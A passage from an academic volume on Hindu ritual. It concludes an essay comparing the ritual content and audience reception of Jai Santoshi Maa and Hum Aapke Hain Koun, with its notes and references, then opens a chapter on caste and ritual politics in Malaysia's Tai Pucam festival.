Despite the demure piety and apparent nonassertiveness of _JSM_ 's heroine, Satyavatī, she gradually achieves many of the pragmatic goals to which large numbers of Indian women aspired during this period: a companionate marriage to a man of her liking, an extended "honeymoon" with him (in the form of a pilgrimage to far-flung temples to Santoṣī Mā), and, ultimately, a prosperous household of her own, independent of her in-laws. The husband she chooses is a restless young man with similar aspirations, who tells his mother early in the film, "I don't want to spend my life like my brothers: same old plow, same old fields! Mom, my life will be something amazing, extraordinary!" With the blessings of the "upstart" goddess Santoṣī Mā, and through his wife's steadfastness and his own hard work, he achieves his goals, becoming, in effect, a "white-collar" businessman who has broken free of the rural subsistence economy. The catalyst for this couple's transformation is an extended ritual that is tenaciously performed by the young wife in the face of tremendous opposition: Satyavatī's _vrat_ is pious worship, true, but also an "act of resistance" defying both heavenly and earthly powers. The "fruit" of her ritual is not merely confirmation of her near identity to the goddess she adores as well as the attainment of undreamed-of prosperity, but also independence from an "idealized" joint family that has gradually been revealed as dysfunctional and abusive. Through a female-oriented plot, and without recourse to themes of violence and revenge, _JSM_ 's tale of a new goddess of "satisfaction" displays in its own way the unsatisfied aspirations that fueled the "crisis of the state" and offers its own model of "mobilization" to obtain desired fruits.
The period in which _HAHK_ was released is likewise associated by film scholars with another major thematic shift, and Barjatya's _Maine Pyar Kiya,_ with its "adoption of advertising imagery: rich, saturated color effects constantly emphasizing surface" (Rajadhyaksha and Willemen 1995, 451), has been identified as a key cinematic text presaging the "consumer revolution" of the 1990s. This reflected policies of "economic liberalization," and the growing political influence of the urban middle classes, with their links to a global diaspora of successful "NRI" (non-resident Indian) families (Ganti 2004, 33–43). Although these developments brought new prosperity to many Indians, they also sharpened the divide between haves and have-nots and contributed to the rise of reactionary religiopolitical movements seeking to impose a majoritarian ideology of Hindutva (Hinduness) on India's diverse population (Rajagopal 2001, 35–50). _HAHK_ 's "feel-good" saga of a wealthy joint family epitomized many trends of this period: appearing to balance smoothly an opulent, consumer-oriented lifestyle (the family mansion boasts a large swimming pool, and Prem drives his own graffiti-covered Jeep) with reverence for "tradition," expressed through kinship terms and the cheery observance of gendered and age-ranked hierarchy—though this is tempered (as in the Rāmāyaṇa) by the voluntary mutual "sacrifice" of loving brothers. Rāma-related imagery indeed looms large (despite the intervention of the playful Kṛṣṇa through his canine agent), and the film has been declared symptomatic of "a deep internalization of the Hindu Right in popular and mass culture" (Bharucha 1995, 804). It is the spectacular performance of rituals—from the initial _ā rati_ at Rāmṭekrī through the choreographed rites of passage that occupy much of the film's running time—that seamlessly blends its diverse and even paradoxical themes. Rites generally associated with upper-caste North Indian Hindus are presented as normative expressions of a valorized "Indian" identity, based on patrilineal, extended-family "love" and reverence for (Hindu) tradition. These are trends that can be detected in many Hindi films of previous decades and indeed are connected with the rise of a more generic and mass-mediated "public culture" in India throughout the twentieth century, but they arguably acquired a particular force in the economic and political climate of its final decade.
Conclusion
It may appear that I am advancing—and, to an extent, I am—a reading of _JSM_ as an unexpectedly "subversive" and progressive film and of _HAHK_ as a far more conventional, even regressive one. Some of their contrasts may be summarized through a table: | **_Jai Santoshi Maa_ (1975)** | **_Hum Aapke Hain Koun...!_ (1994)**
---|---|---
Setting | rural economy of scarcity | urban economy of abundance
Highlighted ritual practice | innovative, individual | traditional, collective
Gender orientation | female | male
Presiding deity | unmarried Śaiva goddess | Viṣṇu (Sītā-Rāma, Kṛṣṇa)
Sociopolitical context | "crisis of the state," lower-class assertion | "economic liberalization," middle-class consumerism, Hindutva
Family depiction | oppressive joint family, ultimately abandoned | harmonious joint family, constantly reaffirmed
Plotlines | strong and multiple, with several villains | weak and singular, lacking villains
Principal textual reference | folk narrative genre ( _vrat-kath ā_) | Rāmāyaṇa, previous Hindi films
Yet, having identified these contrasts, I return to my earlier observation on the complexity of cinematic texts and the diversity of "messages" that individual viewers may draw from them. It appears, from Uberoi's limited interviews, that at least some who enjoyed the exuberant energy and inventive dialogue of _HAHK_ 's conventionalized yet creative comedy of manners also maintained a critical distance, recognizing that the film's depiction of "good relations" within a joint family was a fantasy "not generally found in families" or identifying the film as a nostalgic evocation of a bygone era (Uberoi 2001, 312, 323, 328). To paraphrase a view that I once advanced in relation to the ideology and performance of the Hindi Rāmcaritmānas of Tulsīdās: a thorough consideration of what a popular text "says" also ought to consider what it "does"—or rather, what people do with it (Lutgendorf 1991, 439). This brings me back to the ritual content of these two films and to practices that have developed around their representation.
Although films are, in any single viewing, ephemeral performances, their experience is endlessly reproducible, especially with the advent of inexpensive technologies that allow for (legal and illegal) copying. In the Hindi film industry, it has long been understood that the most popular films generate substantial revenue through repeat viewings, and this is especially the case with the two being considered here. Indeed the American term _cult film_ —used to designate a film with a coterie of dedicated fans who view it repeatedly, sometimes practicing participatory behavior such as dressing as film characters or reciting memorized dialogue and songs in unison with the screening ( _The Rocky Horror Picture Show_ and _TheSound of Music_ are two well-known examples)—assumes a different and rather more literal meaning in the case of these celebrated Hindi films.
The conventional assumption that film viewing belongs to a secular sphere of human activity that is categorically separated from the sacred or religious sphere has been challenged by a number of recent studies that call attention not simply to the mythic and theological content of films but also to the formalized practices that surround their reception by audiences (Lyden 2003, 108–36; Plate 2008, 1–17, 78–91). The experience of regular, congregationally shared viewing of massively projected, dreamlike images and stories suggests participation in mythic and ritual performances, and the assumed passivity of cinema audiences may merely reflect the relative lack of research devoted to film reception. In India "moving pictures" of deities, like other forms of divine representational embodiment, have readily elicited a devotional response from some viewers—for example, the reported prostrations that greeted the first on-screen appearance of Kṛṣṇa in one of the early films of D. G. Phalke, the "father of Indian cinema"—that has been scorned by critics who assume (as did early writers on cinema in the West) that credulous audiences believe that projected images are "real." Indeed that such behavior was repeated during screenings of _JSM_ has been cited as evidence of a lack of "progress" in educating "the people" (Dharap 1983, 82–83). But such dismissive attitudes avoid the larger issue of how cinema viewers worldwide react to screen actors, idolizing them as stars and generating responses that often take the form of creative mimesis of the narratives in which they appear.
_Jai Santoshi Maa,_ with its explicitly religious subject matter and its roots in the _vrat-kath ā_ tradition, offers, not surprisingly, the more obvious example of cultic behavior on the part of audiences, which began soon after the film's release. An article that appeared in the trade journal _Screen_ in August 1975 noted the repeated garlanding by filmgoers of signboards advertising _JSM_ in the lobbies of theaters and observed that "every Friday thousands of men, women, and children, particularly women, rush to the theatres showing the film like they were going to a temple to pay their oblations [ _sic_ ] to the all-merciful Goddess" (John 1975). The reporter also noted the phenomenon of repeat viewings and its relationship to the _vrat_ ritual depicted in the film, as well as other participatory behavior engaged in by audience members: "Inside cinema halls, men, women and children can be seen bowing their heads in reverence whenever a life-size frame of Santoshi Ma in all her splendour flashes across the screen and spontaneous cries of 'Jai Santoshi Ma!' rend the surroundings... . Then there are those people who go to see the film only to hear and sing the bhajans. As soon as a bhajan in the film begins a section of the crowd slowly starts chanting the same bhajan and sometimes the whole hall gradually gets into a mood and there is rhythmic clapping and singing in the hall."
Subsequent writings on the film describe periodic revivals in Friday matinee screenings that drew large female audiences; later the advent of videocassettes enabled women to view the film at home as part of their _vrat_ ritual. The choice by viewers to engage so repeatedly with _JSM_ did not, however, mean that they would favor the film industry's own attempts at repetition: several "mythological" spin-off films inspired by the success of _JSM_ (including a 2006 remake that updated the storyline and boasted digital special effects) proved to be commercial flops.
Although it was not associated with a _vrat_ or indeed with any explicitly religious activity, _HAHK_ also famously prompted repeat viewings along with several kinds of participatory and mimetic behavior. Uberoi (2001, 310) observed that Delhi audiences included many who had memorized songs and passages of dialogue and would sing and recite along with screen characters and that viewers also responded loudly—with cheers, clapping, and retorts—to favorite moments in the story. As with _JSM_ lore circulated regarding the number of repeat viewings indulged in by some fans; the most famous example was that of painter M. F. Hussain, who claimed to have seen the film sixty-seven times.16 But like _JSM, HAHK_ also inspired varieties of domestic performance, particularly in the execution of family life-cycle rituals. The popularity of grandiose weddings, of course, owes little to the film, yet the latter is credited with having helped popularize certain styles of nuptial celebration—including details of costuming and decor—as well as subsidiary rites (such as the theft of the groom's shoes), which would now often be accompanied by songs from the film. Notably _HAHK_ is said to have provided a model for wedding planning among diasporic South Asians, who lacked regular exposure to the nuptial customs of their extended communities on the Subcontinent.
Indeed the critics' dismissal of _HAHK_ as an interminable wedding video misses a key element of the film's ritual appeal. The opportunity to record and memorialize family life-cycle festivities on film, long enjoyed by the Western middle classes, became increasingly available to Indians following economic liberalization and began to trickle down from the elite—who could afford personal camcorders—to lower-middle-class families, who would engage local photographers to produce custom video compact discs that combined footage from family rituals with still photos, animation, special effects, and songs from Hindi films—including, of course, _HAHK._ This reflexive loop between popular practice and its mass-mediated simulacra is in fact twice celebrated within _HAHK_ itself: when Prem watches a video of Niśā's performance, at Rājeś and Pūjā's wedding, of "Jūte do paise lo," at one point pausing the tape to gaze adoringly at her face (and thus revealing his love for her to the observing Lallū); and when Prem and his friends attempt to crash the ladies' performance of "Dīdī terā devar dīvānā" by barging in with a video camera and lights and insisting that they must record the event (they are, however, driven away, camera and all, with the threat of a ritual "shoe-beating").
To observe that _JSM_ and _HAHK,_ albeit inspiring similar forms of mimetic behavior among viewers, were fundamentally different in their class ethos and address may be accurate in the immediate historical context of each film, yet I feel that this assessment overlooks the aspirational dimension of film-inspired mimesis as well as the impact of India's material progress—however unequally delivered—over several decades. Viewers of _JSM_ in 1975 lived in a country in which the majority of people lacked access to electricity, motorized transportation, television, and high-speed communication and in which the modest aspirations of many—for material prosperity, homes of their own, and greater independence in choosing careers and spouses—were appropriately shown as the kinds of satisfaction that could result from propitiating Santoṣī Mā. Two decades later massive if uneven infrastructural and market changes had considerably upped the ante on the kinds of possibilities to which lower- and middle-class people could aspire. The ostentatious life-cycle rites conducted in _HAHK_ celebrate the satisfaction of sometimes conflicting wants and, indeed, suggest the possibility that one might "have it all": partake in a consumer cornucopia and yet espouse simple, traditional values; be a rich capitalist and yet a democratic humanist (Prem eventually heads his own automobile company yet continues to treat the family servant as a fictive "brother"); be materially successful yet artistically sensitive (Rājeś paints, and Prem plays the balalaika); be obedient to elders yet free to make key choices for oneself (when asked by Pūjā whether he wants an "arranged" or "love" marriage, Prem replies that he desires "a love-marriage, that you have arranged!"). Such goals may have remained impossible dreams for many of the film's enthusiastic fans—but then, cinema, like ritual, is about (among others things) the satisfaction of temporarily realizing the impossible.
**Notes**
An abridged version of this essay, with the title "Ritual Reverb," was published in _South Asian Popular Culture_ 12, no. 1 (2012). The editors of the journal wish to thank the editors of this volume for permission to include it.
1. Further discussion of characteristic features of Bombay films may be found in Lutgendorf 2006.
2. The reference to cinematic narratives as typically "loose and fragmented" appears in Thomas 1995, 162; see also Thomas 1985 for a perceptive analysis of one successful _mas ālā_ film.
3. On _Jai Santoshi Maa,_ see Das 1980; Erndl 1993, 141–52; Kurtz 1992, esp. 111–31; Lutgendorf 2002. On _Hum Aapke Hain Koun... !,_ see Bharucha 1995 and Uberoi 2001.
4. For example, one of the most influential monographs on popular Hindi cinema, M. Madhava Prasad's _The Ideology of the Hindi Film_ (1998), ignores their musical component entirely. For an example of a recent study that offers insightful readings of song sequences in several films, see Mazumdar 2007, esp. 79–109.
5. Both _filmsong_ and _picturization_ are common terms in cinematic discourse in India; the latter refers to the choreography and mise-en-scène of song sequences, which are often eagerly anticipated by audiences, who have become familiar with the music through the prerelease of soundtracks.
6. For a detailed synopsis and fuller discussion of the film, see Lutgendorf 2002, 26–34.
7. An explicit reference to the earlier film occurs during the first wedding sequence in _HAHK,_ when Prem receives a prank phone call from one of the bride's cousins, who identifies herself as "Suman" (the name of the heroine of _Maine Pyar Kiya_ ) and says she was his girlfriend "in a previous life." In addition to allusions to Barjatya's previous film, _HAHK_ includes a "pass the pillow" game played during a family gathering, which features several well-known filmsongs as well as the performance, as the "penalty" exacted from "losers," of famous speeches from the films _Mughal-e-Azam_ (1961) and _Sholay_ (1975).
8. It is worth noting that the family's playing of cricket, like their staging of other "rituals," is elaborate, carefully coded, and parodic (thus Lallū pretends to be a sportscaster, "announcing" the game into a fake microphone) and helps to establish the film's surreal and comic tone. The initial match scene, which serves to introduce several principal characters, including the dog, is reprised later to introduce a song in which the daughter-in-law's pregnancy is joyously revealed.
9. Several pilgrimage sites (for example, in Ratanpur, Chhattisgarh; Dhandhuka, Gujarat; and Pune, Maharashtra) bear this name, but it is likely that the film intends no specific geographical reference. Other details of location appear intentionally vague—for example, the mansions of the two Hindi-speaking families seem to be situated in a southern "hill station," and a nearby "village" scene features a bricolage of assorted "rustic" styles. Vagueness with regard to geography (cf. the generic villages of "Mirpur" and "Sonpur" in _JSM_ ) is often intentional in Hindi cinema, reflecting filmmakers' desire to construct an "all-India" identity that will both project (desired) "national integration" and avoid targeting the film to a restricted regional audience.
10. The choice and use of epic quotations in each case deserves comment. In _JSM_ Satyavatī's widowed father, who is worried over his daughter's marriage prospects, emotionally recites Pārvatī's blessing to Sītā for obtaining a worthy husband ("Listen Sītā, to my infallible boon: your heart's desire will be fulfilled"). In _HAHK_ Pūjā's father, a mirthful professor and enthusiastic cook, has just broken a jar of spices in the kitchen; to forestall a scolding from his wife, he pretends to be absorbed in Rāmcaritmānas recitation, chanting a verse in which Rāma playfully confesses, to the enraged Brahman Paraśurāma, to having broken Śiva's bow in Sītā's _svaya ṃvara_ ("Lord, the breaker of Śiva's bow, must have been one of your servants"). Whereas both scenes assume an (ideal) audience with considerable familiarity with the Tulsīdās epic, the _HAHK_ reference invokes it in the comedic mood characteristic of much of the film.
11. Earlier a title song accompanies the credit sequence.
12. This has been anglicized in the Eros Entertainment DVD's chapter menu as "baby shower"—not altogether inappropriately in light of the plethora of toys and gifts that flood the mansion.
13. Prem initiates this act of renunciation. Niśā at first misunderstands, thinking she is to be married to Prem, but when she learns the truth, she too accepts the propriety of the elders' choice. For some women viewers' critique of this sequence, see Uberoi 2001, 322.
14. Uberoi (2001, 330–33) astutely examines the manner in which this character is permitted to voice conventional and cynical attitudes that are otherwise repressed in the film's sanitized and sunny narrative.
15. The recent tendency for such songs to be co-opted by male singers and for the spectacle of female performance of them to be presented to a male gaze—both evident in this _HAHK_ sequence—has been illuminatingly explored by Jassal (2007).
16. Hussain made no secret that the central focus of his obsession was the actress Madhuri Dixit, whom he declared to be the embodiment of "Indian womanhood" and later featured in a series of paintings as well as in a feature-length "art film," _Gaja Gamini_ ( _Gaja g āminī,_ She with the Graceful Gait of an Elephant, 2000), which was a commercial failure. That Hussain is a secular Muslim indicates that at least some non-Hindu viewers did not find the film's allegedly Hindutva-friendly content culturally offensive. Yet Hussain's religious identity, and the fact that some of his painted goddesses were scantily clad, led to violent protests and even the destruction of some of his work by Hindu extremists.
References
Bharucha, Rustom. 1995. "Utopia in Bollywood: 'Hum Aapke Hain Koun... !'" _Economic and Political Weekly,_ April 15, 801–4.
Das, Veena. 1980. "The Mythological Film and Its Framework of Meaning: An Analysis of _Jai Santoshi Ma._ " _India International Centre Quarterly_ 8, no. 1: 43–56.
Dharap, B. V. 1983. "The Mythological or Taking Fatalism for Granted." In _Indian Cinema Superbazaar,_ edited by Aruna Vasudev and Philippe Lenglet, 79–83. New Delhi: Vikas.
Dwyer, Rachel. 2006. _Filming the Gods: Religion and Indian Cinema._ London & New York: Routledge.
Erndl, Kathleen M. 1993. _Victory to the Mother: The Hindu Goddess of Northwest India in Myth, Ritual, and Symbol._ New York: Oxford University Press.
Ganti, Tejaswini. 2004. _Bollywood: A Guidebook to Popular Hindi Cinema._ London & New York: Routledge.
Geertz, Clifford. 1973. _The Interpretation of Cultures: Selected Essays._ New York: Basic Books.
Gopalan, Lalitha. 2002. _Cinema of Interruptions._ London: British Film Institute.
Hawley, John Stratton, and Donna Marie Wulff, eds. 1996. _Devi: Goddesses of India._ Berkeley: University of California Press.
Jassal, Smita Tewari. 2007. "Taking Liberties in Festive Song: Gender, New Technologies, and a 'Joking Relationship.'" _Contributions to Indian Sociology_ 41, no. 1: 5–40.
John, Ali Peter. 1975. "The Miraculous Success of a Mythological." _Screen,_ August 29, 10.
Kurtz, Stanley N. 1992. _All the Mothers Are One: Hindu India and the Cultural Reshaping of Psychoanalysis._ New York: Columbia University Press.
Lutgendorf, Philip. 1991. _The Life of a Text: Performing the_ Rāmcaritmānas _of Tulsidas._ Berkeley: University of California Press.
———. 2002. "A Superhit Goddess/A Made-to-Satisfaction Goddess: _Jai Santoshi Ma_ Revisited." _Manushi, a Journal about Women and Society_ 131: 10–16, 24–37.
———. 2006. "Is There an Indian Way of Filmmaking?" _International Journal of Hindu Studies_ 10, no. 3: 227–56 _._
Lyden, John C. 2003. _Film as Religion: Myths, Morals, and Rituals._ New York: New York University Press.
Mazumdar, Ranjani. 2007. _Bombay Cinema: An Archive of the City._ Minneapolis: University of Minnesota Press.
Plate, S. Brent. 2008. _Religion and Film: Cinema and the Re-creation of the World._ London: Wallflower.
Prasad, M. Madhava. 1998. _Ideology of the Hindi Film: A Historical Construction._ Delhi: Oxford University Press.
Rajadhyaksha, Ashish, and Paul Willemen. 1995. _The Encyclopaedia of Indian Cinema._ New Delhi: Oxford University Press.
Rajagopal, Arvind. 2001. _Politics after Television: Hindu Nationalism and the Reshaping of the Public in India._ Cambridge: Cambridge University Press.
Thomas, Rosie. 1985. "Indian Cinema: Pleasures and Popularity." _Screen_ 26: 3–4, 116–31.
———. 1995. "Melodrama and the Negotiation of Morality in Mainstream Hindi Film." In _Consuming Modernity: Public Culture in a South Asian World,_ edited by Carol A. Breckenridge, 157–82. Minneapolis: University of Minnesota Press.
Uberoi, Patricia. 2001. "Imagining the Family: An Ethnography of Viewing Hum Aapke Hain Koun... !" In _Pleasure and the Nation,_ edited by Rachel Dwyer and Christopher Pinney, 309–51. Delhi: Oxford University Press.
## PART 2
## _Innovations_
Globalization and the Hindu Diaspora
## The Politics of Ritual among Murukaṉ's Malaysian Devotees
ELIZABETH FULLER COLLINS AND K. RAMANATHAN
The ways in which a people apprehend the divine is in large measure a statement about the way they see themselves and their context in a given moment... . At certain times in the Murukaṉ tradition, myth-makers and interpreters consciously adapt the god to changing cultural circumstances while, at the same time, seeking to link him to an authenticating past either of his own or of other gods from whom he inherits authority and power. At other times, the shift of imageries appears to be more nearly unconscious.
_Fred W. Clothey (1978, 8–9)_
For Malaysian Hindus the Tai Pūcam (Thaipusam) festival, which honors Murukaṉ (Murugan), is the major religious event of the year.1 Tai Pūcam is an occasion for ritual vow fulfillment. Ritual performances have both cognitive and emotional content (Ortner 1978, Wittgenstein 1979, Tambiah 1985, Bell 1992). In our analysis ritual is treated as a performative statement that gives symbolic expression to claims about a person's identity and his or her relationship to others. In this essay we examine the history of the Tai Pūcam festival to illustrate the politics of ritual: how ritual performances give expression to group identities and contested relations of power. We show how claims to ritual authority are expressed in the community of Tamil Hindus in Malaysia, which is deeply divided by caste and class differences. The caste-conscious Nattukottai Chettiyars worship Murukaṉ as Subrahmaṇia (Subrahmaṇya), who is associated with Brahmanic orthodoxy, while working-class devotees of Murukaṉ worship him as Taṇṭāyutapāṉi, the ascetic youth of the Palani Temple who rejects caste orthodoxy. We also show how the image of Murukaṉ has changed over the last thirty years during which a transnational Hindu reform movement has promoted a vision of Hinduism as an egalitarian, inclusive, and universal religion. At the same time, an Islamic resurgence and violent clashes between Hindus and Muslims in India and Malaysia have made the minority Hindu community defensive. Increasingly Murukaṉ is represented as the warrior god who has been given his lance, the _v ēl,_ for the coming battle with the demon Sūrapadmaṉ.
The Tamil Hindus of Malaysia
Deep fault lines divide the community of Tamil Hindus in Malaysia into three groups: conservative, caste-conscious Nattukottai Chettiyars; middle-class professionals whose forebears came from Sri Lanka; and working-class Tamils, who are descendants of the low-caste and untouchable laborers brought to Malaysia to work on the docks, build the railways, and provide labor on plantations (Glick 1968).
The Chettiyars may have been established in Malaya as early as the Malacca Sultanate (1402–1511), but it was during the colonial period that they became an important presence (Ramanathan 1995, 90–102). Soon after the British opened up Penang for commerce in the late eighteenth century, the Chettiyars established themselves as moneylenders, providing capital to small-scale local entrepreneurs, tin miners, and planters. The Chettiyars maintained association with their ancestral temples in Chettinad in India and observed strict caste endogamy.2 The Chettiyars in Penang took control of the Nagarathar Śivan Temple on Datu Kramat Road in Penang in 1871, renovating and expanding it in accord with Āgamic principles. They brought Brahman priests and other ritual specialists from India to serve in this temple, where four daily devotional rituals ( _p ūjā_s) are performed (Ray Ramasamy 1996). Later they built the Nattukottai Chettiar Temple on Waterfall Road for Subrahmaṇia, whom they worshiped as their caste deity according to rules prescribed in Āgamic texts.3 In the past worship in Chettiyar temples was restricted to the Chettiyar community.
English-educated Tamils from Ceylon, also known as Jaffna Tamils, served in Malaysia in clerical, technical, administrative, and managerial positions. They tended to identify with their British employers rather than the Tamil laborers whom they supervised. By the end of the colonial era, Ceylonese Tamils had begun to be prominent in the legal and medical professions and in the private sector. Some representatives of this well-educated group of upwardly mobile Tamils were secular in their orientation, but others were drawn into Hindu reform movements, such as the Malayan Śaiva Siddhānta Sangam, the Ramakrishna Mission, and the Divine Life Society.4 Although they rejected the ideology of caste, they built Āgamic temples to Śiva and maintained their high status through restricting marriage within the community (Rajakrishnan Ramasamy 1988, 123).
The majority of Hindus (roughly 80 percent of Indians in Malaysia) were brought from Tamilnadu to Malaya to provide labor for the colonial enterprise. They brought with them the village goddesses they had worshiped at home along with clan and caste deities such as Muṉiāṇṭi, Maturai Vīraṉ, Karippacāmi, and Aiyaṉār, as reflected in the large number of Hindu temples and shrines on estates and along railway lines (said to number eighteen thousand in 1999). Originally these deities were served by non-Brahman priests or shaman-diviners ( _puc āri_) and were offered blood sacrifices. Some temples in urban areas have undergone a process of Sanskritization through renovation and the emulation of rituals practiced in Āgamic Hinduism, but in general Tamil laborers, who resent both Ceylonese Tamils and the Chettiyars for their attitude of superiority and lack of compassion, have insisted on the authenticity of their own traditions. These include ritual performances involving blood sacrifice, fire walking, and vow fulfillment by piercing the body with skewers and hooks or driving a spear through the cheeks and/or tongue (Collins 1997, 55–61).
Temples and Festivals as Sites of Ritual Contestation
Temples tend to be sites of contestation for social status in Tamil Hindu communities, and the major temple festival is generally the context in which conflict takes place.5 At the conclusion of a temple festival, sponsors and notables are awarded recognition through the distribution of temple honors, which serve as an important symbol of status. As a result the right to sponsor or organize a temple festival and receive temple honors may be hotly contested. In colonial Malaya, from the nineteenth century until 1956, conflict in plantation temples frequently emerged between the Ceylonese Tamil clerical and managerial staff and the Tamil labor force over membership on temple management committees. In urban temples built collectively by different caste or occupational groups, disputes over the control of temple resources and the right to offer services, including special worship on the days preceding a festival day, frequently ended in court cases.6 In temples founded by an individual or dominated by a particular caste group, conflict tended to emerge upon the death of the founder or when a rising caste group made claims to precedence (Collins 1997, 36, 89–105; Ramanathan 1995, 68–215). As the major festival of Malaysian Hindus, Tai Pūcam has been a locus for ritual politics and expression of the tensions and hostilities that divide Tamil Hindus in Malaysia.
The Tai Pūcam Festival: Caste, Conflict, and Convergence
The first shrine dedicated to Murukaṉ in Malaysia appears to have been a simple place of offering on Penang Island at the edge of George Town, located next to the waterfall that descends from Penang Hill. It was established in the late eighteenth century by Tamil laborers who marked the site with Murukaṉ's _v ēl,_ the lance with a leaf-shaped head. Subsequently when Sir Francis Light purchased the island from the Sultan of Kedah in 1786, he noted that Tamil laborers brought fresh water from this site to George Town using water carts. These water carriers appear to have initiated the celebration of Tai Pūcam, perhaps as early as 1800 (Ramanathan 2002). The first description we have comes from James Low, who witnessed the festival in the 1830s. His account expresses outrage and disgust at the forms of vow fulfillment by Tamil laborers that would later be echoed by Hindu reformers.
The Hindus perform here all the absurd and often monstrous rites in their religion... . The usual swinging on tender hooks in public and disgusting exhibitions... in a civilized colony is a nuisance and an offense against public decency and feeling. When people forsake their own country and voluntarily settle in another, they should be satisfied with the permission to celebrate their religious rites only which do not outrage the proper feelings of the other portions of the community, and which are not injurious to public morals and the decencies of life and order. (Low [1836] 1972, 297–98)
Despite such views, in 1854 when British authorities decided to build a reservoir in the waterfall catchment area, they granted an eleven-acre site to relocate the Murukaṉ shrine (Ramanathan 2002). The Arulmigu Bala Taṇṭāyutapāṉi Temple (hereafter the Penang Hill Murukaṉ Temple) was built on this site in 1855.
In 1875 the Nattukottai Chettiyars built a hall on Waterfall Road at the foot of Penang Hill for the exclusive use of the Chettiyars. In the 1890s they expanded this hall, which became the Nattukottai Chettiyar Temple (hereafter the Waterfall Road Subrahmaṇia Temple), and ordered a silver chariot from India to carry an image of Murukaṉ on the annual Tai Pūcam procession. This initiated the celebration of Chetti Pusam on the day before Tai Pūcam, marking an important shift in the festival. Formerly the Tai Pūcam chariot procession started at the Maha Mariamman Temple on Queen Street in the heart of George Town. This temple, consecrated in 1833, was built by a consortium of different caste groups on land granted by British authorities to the _kapitan_ of the Indian community in 1801. From the base of Penang Hill, the image of Murukaṉ was carried to the hilltop Murukaṉ Temple. With the establishment of the Chettiyar chariot procession, the route was changed so that it began at a shop-house owned by the Chettiyar community and ended at the Waterfall Road Subrahmaṇia Temple. In this way the Chettiyars asserted their position as the dominant caste in the Hindu community of Penang (Collins 1997, 46–47, 55). On Chetti Pusam, Chettiyars fulfilled vows to Murukaṉ by carrying a _k āvaṭi,_ a wooden arch decorated with palm fronds or peacock feathers (symbolic of Murukaṉ's peacock vehicle) with two small pots of milk offerings attached, and performing a trancelike _k āvaṭi_ dance.
The success of the Chettiyars in asserting their role as patrons of the Tai Pūcam procession appears to have been caused by conflicts over control of the Queen Street Maha Mariamman Temple. These conflicts led to court cases, which were resolved temporarily in 1904 when the colonial office appointed a British official as trustee of the temple. In 1906 the Hindu and Muslim Endowments Ordinance was passed, establishing British authority over the administration of all temples and mosques in the Straits Settlement built on land granted by the colonial office (Ramanathan 1995, 160–86). In 1916 the temple management committee for the Queen Street Maha Mariamman Temple acquired a chariot and attempted to reestablish the original Tai Pūcam procession but was not successful in challenging the prestige of the Chettiyar community and the Chetti Pusam procession (Ramanathan 1995, 183n245).
Chettiyar vow fulfillment—performing the _k āvaṭi_ dance. Photograph by Patricia Seward.
In 1933 the Queen Street Maha Mariamman Temple was the first in Malaysia to open its doors to lower castes and untouchables. This challenge to caste hierarchy and orthodoxy grew out of the "temple entry movement," a campaign mounted by the Pan Malayan Dravidian Association that was inspired by the Adi-Dravida movement of low caste and untouchable groups in Tamilnadu (Arasaratnam 1979; Collins 1997, 55, 101). The temple entry movement can be dated to 1929, when E. V. Ramasami Naicker (1879–1973) visited Malaya to promote the Tamil "self-respect" movement known as Dravida Kaḻakam, which called for the rejection of caste. Dockworkers in Penang formed the Hindu Mahajana Sangam, a social welfare association, which organized protests against the exclusion of untouchable worshipers from temples. In 1935 the Hindu Mahajana Sangam won control of the management committee that was responsible for the Maha Mariamman Temple and the Penang Hill Murukaṉ Temple (Collins 1997, 55; Ramanathan 1995, 181). This led to the conflation of two festivals on Tai Pūcam, the Chetti Pusam procession of the Nattukottai Chettiyars and the festival of vow fulfillment organized by the temple management committee of the Queen Street Maha Mariamman Temple and the Penang Hill Murukaṉ Temple.
Working-class devotees who fulfilled their vows on Tai Pūcam invented dramatic forms of vow fulfillment. Some constructed large metal arches, which were flamboyantly decorated with ornaments as well as milk offerings; in their _k āvaṭi_ dance, they swirled and dipped in imitation of a male peacock courting his mate. Others chose to fulfill vows by hanging small pots with milk offerings from hooks in their chest or piercing their cheeks with the lance of Murukaṉ or piercing their body with long metal skewers attached to their _k āvaṭi._
Working-class devotees of Murukaṉ with hook-piercing dance on Tai Pūsam. Photograph by Patricia Seward.
The Tai Pūcam celebration in Kuala Lumpur has a similar history of conflict over sponsorship of the festival. The Murukaṉ Shrine in the Batu Caves was established in 1891 during the tin boom in Selangor by K. Thambusamy (1850–1902). His father, Kayarohanam Pillai (d. 1884), had been influential in organizing renovation of the Mariamman Shrine, which became the Kuala Lumpur Mariamman Temple on Jalan Tun H.S. Lee. The Murukaṉ Shrine in the Batu Caves immediately attracted worshipers, and the decision of a British official to close the caves to public access led to strong protests. The district officer finally ordered that the shrine be left undisturbed. The first official Tai Pūcam celebration at the caves took place in 1892 (Nadaraja, no date). Following Thambusamy's death conflict broke out when the Writers Association (an organization of government clerks) and members of the Mukkolatar Association (composed of three caste groups) challenged the Vēḷāḷa (or Piḷḷai) caste group, which dominated the committee that managed the Mariamman Temple, the Batu Cave Shrine, and the Gaṇeśa Temple on Court Street. This dispute ended up in the courts in 1924, and in 1930 the chief judge of Malaya ordered that the temples and their property be handed over to representatives of fourteen groups that sponsored festivals at the temples. These groups were granted the right to elect representatives to a temple management committee.7 This decision did not, however, end conflict over temple rituals. The new management committee terminated the sponsorship rights of Thambusamy's descendants and gave them to a group claiming to represent Sentul residents (Ramanathan 1995, 134–39).
In the 1940s a Dravida Reform Movement that called for the reform of ritual practices common among lower-caste Hindus spread from Tamilnadu to middle-class Hindus in Malaysia and Singapore. On the grounds that "spike _k āvaṭi_s" and body piercing were exhibitionistic practices and not authentically Hindu, reformers attempted to ban these forms of vow fulfillment in the 1950s. Lower-caste and working-class devotees of Murukaṉ clung to their own forms of ritual vow fulfillment, choosing to fulfill vows at shrines and temples they controlled. The management committees of prominent temples soon realized that alienating worshipers from lower-caste groups led to loss of both income and prestige for a temple. They decided to content themselves with promoting reform through education and limited bans (Collins 1997, 51–53).
Despite these conflicts the celebration of Tai Pūcam grew in popularity in both Penang and Kuala Lumpur. Conflicts between groups were elided through the worship of different forms of Murukaṉ. The Chettiyars worshiped Murukaṉ as their caste deity, representing him as Subrahmaṇia, the teacher of Brahmā, who stands for orthodox Brahmanic Hinduism. Middle-class professionals who belonged to Hindu reform movements emphasized the path of spiritual insight or knowledge (Sanskrit: _jñ āna_), which they said was symbolized by Murukaṉ's lance _._ They sought to reform forms of vow fulfillment that they found primitive, including piercing the body and fire walking. Hindus from the Tamil labor force worshiped Murukaṉ as Taṇṭāyutapāṉi, the ascetic youth of the Palani Temple who rejected caste, and as the bringer of divine trance.
